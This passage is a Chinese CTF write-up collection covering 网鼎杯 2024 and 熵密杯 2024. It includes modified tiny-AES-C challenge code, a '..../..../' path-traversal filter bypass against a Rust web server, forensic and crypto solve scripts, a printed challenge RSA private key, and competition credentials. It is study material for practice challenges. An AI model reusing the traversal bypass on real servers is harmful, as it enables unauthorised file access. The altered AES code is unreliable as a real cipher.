0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 };

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 };
#endif

// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/


/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations

// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}

// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];

}

if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}

// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}

tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;

// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
( ((y & 1) * x) ^ \
((y>>1 & 1) * xtime(x)) ^ \
((y>>2 & 1) * xtime(xtime(x))) ^ \
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];

(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}

static void InvShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;

// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; round < 10 ; ++round)
{
SubBytes(state);
MixColumns(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
SubBytes(state);
ShiftRows(state);

AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
InvShiftRows(state);
InvSubBytes(state);

for (round = (Nr - 1);round > 0; --round)
{
printf("%d\n", round);

AddRoundKey(round, state, RoundKey);

InvShiftRows(state);
InvMixColumns(state);
InvSubBytes(state);

}
AddRoundKey(0, state, RoundKey);

}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];

size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{

memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);

/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}

buf[i] = (buf[i] ^ buffer[bi]);
}
}

#endif // #if defined(CTR) && (CTR == 1)

aes.h

#ifndef _AES_H_
#define _AES_H_

#include <stdint.h>
#include <stddef.h>

// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.

// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif

#ifndef ECB
#define ECB 1
#endif

#ifndef CTR
#define CTR 1
#endif


#define AES128 1
//#define AES192 1
//#define AES256 1

#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only

#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif

struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif

#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);

#endif // #if defined(ECB) && (ECB == !)


#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CBC) && (CBC == 1)


#if defined(CTR) && (CTR == 1)

// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CTR) && (CTR == 1)


#endif // _AES_H_

aes.hpp

#ifndef _AES_HPP_
#define _AES_HPP_

#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus

extern "C" {
#include "aes.h"
}

#endif //_AES_HPP_

re02

rust编写,会开启8080端口作为web服务,且只会处理get请求

Image

可以看到../被过滤替换为/

Image

..../..../绕过

Image

三、朱雀组

Misc1

在一间阴暗的地下室里,网络安全专家小张正紧盯着屏幕,刚刚截取到一批黑客通过卫星盗取的数据。数据流中杂乱的信息让他感到困惑,直到他注意到一个异常的加密信号。他开始分析这段信号,经过数小时的解密,终于提取出关键信息:一份重要的文件。他必须迅速采取行动,联系上级并确保这份信息不落入黑客手中。
提交的flag格式:wdflag{xxxxx}

打开文件一堆01,差分曼彻斯特

Image

写个脚本

from libnum import *

# 读取文件内容
with open("data", "r", encoding="utf-8") as f:
all_str = f.read()

# 计算输出字符串
out = []
n = (len(all_str) // 2) - 1

# 使用列表推导式构建输出
for i in range(n):
out.append('0' if all_str[i*2:i*2+2] == all_str[i*2+2:i*2+4] else '1')

# 将列表转换为字符串并转换为十六进制
hex_output = hex(int(''.join(out), 2))[2:]

# 将结果写入文件
with open("tmp.txt", "w") as f:
f.write(hex_output)

Image

去掉头部100000015转zip

Image

发现zip文件中夹杂多余字节,secret.png被分开,间隔为6个字节,估计是多余了6个字节。至于每取出多少字节后去除尾部6个字节,可以爆破。

因为头部504B03041400没有问题,从504B0304到42020015,长度44,可以从12爆破至44。

附上脚本

# 读取 ZIP 文件
with open("2.zip", "rb") as f:
all_b = f.read()

n = len(all_b)

# 遍历不同的分段大小
for j in range(12, 45):
out = bytearray() # 使用 bytearray 来构建输出
for i in range(0, n, j):
out.extend(all_b[i:i + (j - 6)]) # 使用 extend 方法追加数据

# 写入输出文件
with open(f"out_{j}.zip", "wb") as f:
f.write(out)

多次尝试发现每22个字节去除6个多余字节,可以恢复正常文件

Image

解压缩密码:12345678,解压缩得到图片

ImageImage

cHBhYXNzd2Q=

base64解密

Image

得到密码

ppaasswd

Image

wdflag{f3b32f2151a877cad089c25994e5da4a}

Misc2

题目描述
“新盲盒系列发布了,大家一起来抽奖吧!”此刻的你被这样的字样吸引,于是你决定试试!请使用jdk1.8运行本程序。

Image

给了一个jar文件,我们放到IDEA分析一下

Image

告诉我们是AES加密,并且把密钥也给出来了,我们查看一下加密内容

Image

在线解密一下

https://www.toolhelper.cn/SymmetricEncryption/AES

Image

wdflag{499c1ad9-f66f-4fa0-a6ce-b3aa46f8d598}

Misc3

题目描述
MISC03
小李对计算机安全产生了浓厚的兴趣,他学习了一些关于隐藏文件和磁盘加密的方法。他了解到,文件隐藏和加密是保护个人数据的重要手段,因此决定实践自己的新知识。他得到了一个不错加密软件,于是邀请到你,迫不及待地想要一起测试其效果。

提交的flag格式:wdflag{xxxxx}

png图片,先放到Hex分析一下文件数据

Image

看到有其他文件,先分离一下

Image

分离打开发现都是6字节的txt文件,而且解密还要密码,想到CRC32碰撞

Image

Image

选择三段比较合理的字符合并得到

This_WD_010cryptPw

这就是压缩包的密码,解压文件

得到文档,根据文档名很容易就能猜到是verycrypt加密卷

挂载一下密码为

This_WD_010cryptPw

ImageImageImage

Image

得到key文件

Image

Image

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMync9RVIlHuySZqcpNF23ydbg5PgWVcf5Q1oj5ver9CladGc/IvPuZXeQfdG8jcaFudnfV9lT9xL/NRJmOruj80mq3L4gSZnu+bk0EuIfZlDCNJkGyvlzwlDlycHrdAd4CIcaC8NKPxI6nK8Ui/+v6dCbG7x8K1sb79TIgmVLFxAgMBAAECgYAVP707co/2zxrgU9zb3PzcOFnbH0btg/BErplvD2LgrSyN8tca0iw/HR22Uu89uKHWwluqZ7zJeqp6gmZgoq3ajtZf5TB92ncV0Xp/GPs6lRaDkJUInWIPiar23+VQPQ5uxyTnTQOiCGN5R8BZTsCC4zu/UoAuPxDmU9l8WNnGyQJBAPEktbqFyjzxZJC5PmnkiE/gegdz2i7ysN10pDyCgKhV8leS4F9npighluAD1hDiCKYBLw+foK7eB7Mm+RlF62kCQQDZQzyzebZSWmX/OCyrFk5VFfd10/lnsqQXg/RgJg2jh1UbWTiE6GDFa3H+JuYBDG/fcuuxYZ+TCDOxyDZoKHzJAkEAgA7Bnxr7ih+bCywElBFzvg90Xk7MuA/TktclfKjFECAMQStTkfamCzvDNpVy8aZHd3i7eC2KFDL+ncn9kMlLuQJAIkgWuucYmrQC5huSCMjzQT+/FUuGThOFCuTaWZWHj2caSb9xSJ92LZB/oy+2GTJCMMrsX8fcqxGfPo0t8I966QJBALdfMm0BkauVifxpAnSvfGWbuMsOalZ5Un2kjeIcCr9XBA2xQ7/VJnb+E4kHdF+8WBNONHGysrxizw29N39P53Q=
-----END ENCRYPTED PRIVATE KEY-----

RSA加密,想到还有个flag.txt,RSA解密一下

Image

https://tool.lvtao.net/rsa

Image



网鼎杯部分组附件内容:链接: https://pan.baidu.com/s/1cqv39HqfPLSd3ZLqlg1dgA?pwd=f39c 提取码: f39c 




参考原文转载链接地址:

https://mp.weixin.qq.com/s/Icf6QC1eCsz95vFdDpdm7g

https://mp.weixin.qq.com/s/HhL4lqcL_3EeYg1TDeBOKg

https://goodlunatic.github.io/posts/1a285be/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-misc02%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0

https://mp.weixin.qq.com/s/5Xet54leUqVOeMYzTX0ROw

https://mp.weixin.qq.com/s/aUXs3-1-VQc7-ZeR07-Tjg

https://mp.weixin.qq.com/s/u9yA1SUq6lneeCIMStybFg

https://mp.weixin.qq.com/s/4HU-jQIKU-xNdzUIGR0Fmg

HireHackking

2024熵密杯wp

第一部分:初始谜题

这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。

但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。

每个题目也都有前三血的加成,一血5%,二血3%,三血1%,在最后排名的时候会先根据分数再根据解题时间,所以血量分其实很重要,但是手速实在不太够

然后就是他每个初始谜题下发的附件不仅包含加密用的.py文件,还有一个.exe文件,开启实例并输入ip和端口,之后题目就会下发加密数据,与他进行正确交互后就能拿到flag了。

初始谜题一(300 pts)

题目:

from sympy import Mod, Integer
from sympy.core.numbers import mod_inverse

# 模数
N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = Integer(int(N_HEX, 16))
MSG_PREFIX = "CryptoCup message:"


# 加密函数
def encrypt_message(message, key):
# 添加前缀
message_with_prefix = MSG_PREFIX + message
message_bytes = message_with_prefix.encode('utf-8')
message_len = len(message_bytes)
num_blocks = (message_len + 15) // 16
blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_blocks)]

# 进行0填充
blocks[-1] = blocks[-1].ljust(16, b'\x00')

encrypted_blocks = []

k = key

# 加密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
encrypted_block_int = Mod(block_int * k, MODULUS)
encrypted_blocks.append(encrypted_block_int)
k += 1 # 密钥自增1

# 将加密后的分组连接成最终的密文
encrypted_message = b''.join(
int(block_int).to_bytes(32, byteorder='big') for block_int in encrypted_blocks
)

return encrypted_message


# 解密函数
def decrypt_message(encrypted_message, key):
num_blocks = len(encrypted_message) // 32
blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_blocks)]

decrypted_blocks = []

k = key

# 解密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
key_inv = mod_inverse(k, MODULUS)
decrypted_block_int = Mod(block_int * key_inv, MODULUS)
decrypted_blocks.append(decrypted_block_int)
k += 1 # 密钥自增1

# 将解密后的分组连接成最终的明文
decrypted_message = b''.join(
int(block_int).to_bytes(16, byteorder='big') for block_int in decrypted_blocks
)

# 去除前缀
if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')):
decrypted_message = decrypted_message[len(MSG_PREFIX):]

return decrypted_message.rstrip(b'\x00').decode('utf-8')


# 测试
initial_key = Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0)
message = "Hello, this is a test message."
print("Original Message:", message)

# 加密
encrypted_message = encrypt_message(message, initial_key)
print("Encrypted Message (hex):", encrypted_message.hex())

# 解密
decrypted_message = decrypt_message(encrypted_message, initial_key)
print("Decrypted Message:", decrypted_message)

题目加密流程大概如下:

  • 有一个未知的initial_key,与一个未知的message
  • 对于这个message,题目会在他前面填上一个固定的前缀”CryptoCup message:”,并在最后补充上”\x00”使得整个消息长为16的倍数
  • 将填充了前后缀的消息按16字节为一组分组
  • 从第一个分组开始,将该分组消息转化为整数,记为mi,并计算:
  2fymr1rqxvy11771.png

其中ki是key在对应分组的值(key每个分组之后会自增一)

  • 将所有ci转成32字节,并连接在一起得到密文

靶机只会发送encrypted_message,要发送给他message来拿到flag。这个可以说是相当轻松了,由于有一个已知的前缀,并且他超过了16字节,因此就有第一个分组对应的明文和密文,所以就可以直接求出key来。

exp:

from Crypto.Util.number import *

N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = int(N_HEX, 16)
MSG_PREFIX = b"CryptoCup message:"

c = bytes.fromhex("a7ea042608ffce5be79a19ee45533506819e85f8d9250fccef5a89731151fd7a76d83aa85c47ba1357a86d0e9763470fb608cd54d0927125f500353e156a01da759fa814e96fa41a888eea3a9cf9b062923ed70774add490c7ed7f83d6b47e711e7b3c8a960dcc2838e577459bb6f2769d0917e1fd57db0829633b77652c2180")
C = [c[32*i:32*i+32] for i in range(len(c)//32)]

msg = b""
key = bytes_to_long(C[0]) * inverse(bytes_to_long(MSG_PREFIX[:16]), MODULUS) % MODULUS
for i in range(len(C)):
msg += long_to_bytes(bytes_to_long(C[i]) * inverse(key,MODULUS) % MODULUS)
key += 1
print(msg)


#CryptoCup message:dHyNBCgxEq4prNBbxjDOiOgmvviuAgfx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

发送message回去之后就会拿到flag,以及一个登录Gitea的帐号密码:

验证通过
flag{OYLXbASQsEc5SVkhBj7kTiSBc4AM5ZkR}
gitea账号:giteauser2024
gitea口令:S(*HD^WY63y89TY71
提示:gitea账号和口令用于登录第二环节的gitea服务器,请注意保存!

后面两个初始谜题也都是给一个拿分的flag,以及一个账号密码作为开第二部分的钥匙,所以后面两个初始谜题就不写这个了

初始谜题二(300 pts)

题目:

import binascii
from gmssl import sm3


# 读取HMAC key文件
def read_hmac_key(file_path):
with open(file_path, 'rb') as f:
hmac_key = f.read().strip()
return hmac_key


# 生成token
def generate_token(hmac_key, counter):
# 如果HMAC_KEY长度不足32字节,则在末尾补0,超过64字节则截断
if len(hmac_key) < 32:
hmac_key = hmac_key.ljust(32, b'\x00')
elif len(hmac_key) > 32:
hmac_key = hmac_key[:32]

# 将计数器转换为字节表示
counter_bytes = counter.to_bytes((counter.bit_length() + 7) // 8, 'big')
# print("counter_bytes:", binascii.hexlify(counter_bytes))

tobe_hashed = bytearray(hmac_key + counter_bytes)

# print("tobe_hashed:", binascii.hexlify(tobe_hashed))

# 使用SM3算法计算哈希值
sm3_hash = sm3.sm3_hash(tobe_hashed)

# 将SM3的哈希值转换为十六进制字符串作为token
token = sm3_hash

return token


current_counter = 0


def verify_token(hmac_key, counter, token):
# 生成token
generated_token = generate_token(hmac_key, counter)
global current_counter
# 比较生成的token和输入的token是否相同
if generated_token == token:
if counter & 0xFFFFFFFF > current_counter:
current_counter = counter & 0xFFFFFFFF
print("current_counter: ", hex(current_counter))
return "Success"
else:
return "Error: counter must be increasing"
else:
return "Error: token not match"


# 假设HMAC key文件路径
hmac_key_file = 'hmac_key.txt'
# 假设计数器值
counter = 0x12345678

